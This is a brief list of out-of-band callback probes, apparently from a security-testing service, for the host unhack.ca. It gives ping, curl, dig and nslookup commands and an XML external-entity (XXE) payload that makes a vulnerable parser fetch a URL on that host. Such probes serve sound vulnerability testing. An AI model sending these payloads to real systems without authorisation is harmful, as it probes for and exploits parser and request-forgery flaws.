$ ping -c1 -p 0090d7b027d864e26e927bd5f03b9400 unhack.ca
 

$ curl http://unhack.ca/p/90d7b027d864e26e927bd5f03b94
 

$ dig 90d7b027d864e26e927bd5f03b94 @unhack.ca
 

$ dig 90d7b027d864e26e927bd5f03b94.ns.unhack.ca
 

C:\> nslookup 90d7b027d864e26e927bd5f03b94 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/90d7b027d864e26e927bd5f03b94">]>
    <foo>&xxe;</foo>